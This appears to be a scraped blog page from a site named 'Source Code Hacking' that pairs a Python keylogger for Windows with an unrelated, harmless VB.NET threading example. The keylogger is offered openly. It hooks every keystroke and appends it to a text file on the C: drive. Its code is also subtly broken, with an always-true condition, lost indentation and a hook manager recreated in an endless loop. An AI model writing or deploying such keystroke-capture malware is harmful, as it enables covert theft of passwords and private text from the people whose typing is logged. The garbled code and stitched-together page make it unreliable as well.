Python Keylogger



================================================
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
================================================

Threading in VB.NET


There's two ways to do this;
  1. With the AddressOf operator to an existing method
    Sub MyBackgroundThread()
      Console.WriteLine("Hullo")
    End Sub
    And then create and start the thread with;
    Dim thread As New Thread(AddressOf MyBackgroundThread)
    thread.Start()
  2. Or as a lambda function.
    Dim thread as New Thread(
      Sub() 
        Console.WriteLine("Hullo")
      End Sub
    )
    thread.Start()

Copyright © Source Code Hacking. Designed by Momizat Team. Powered to Blogger by SpicyTweaks.

Scroll to top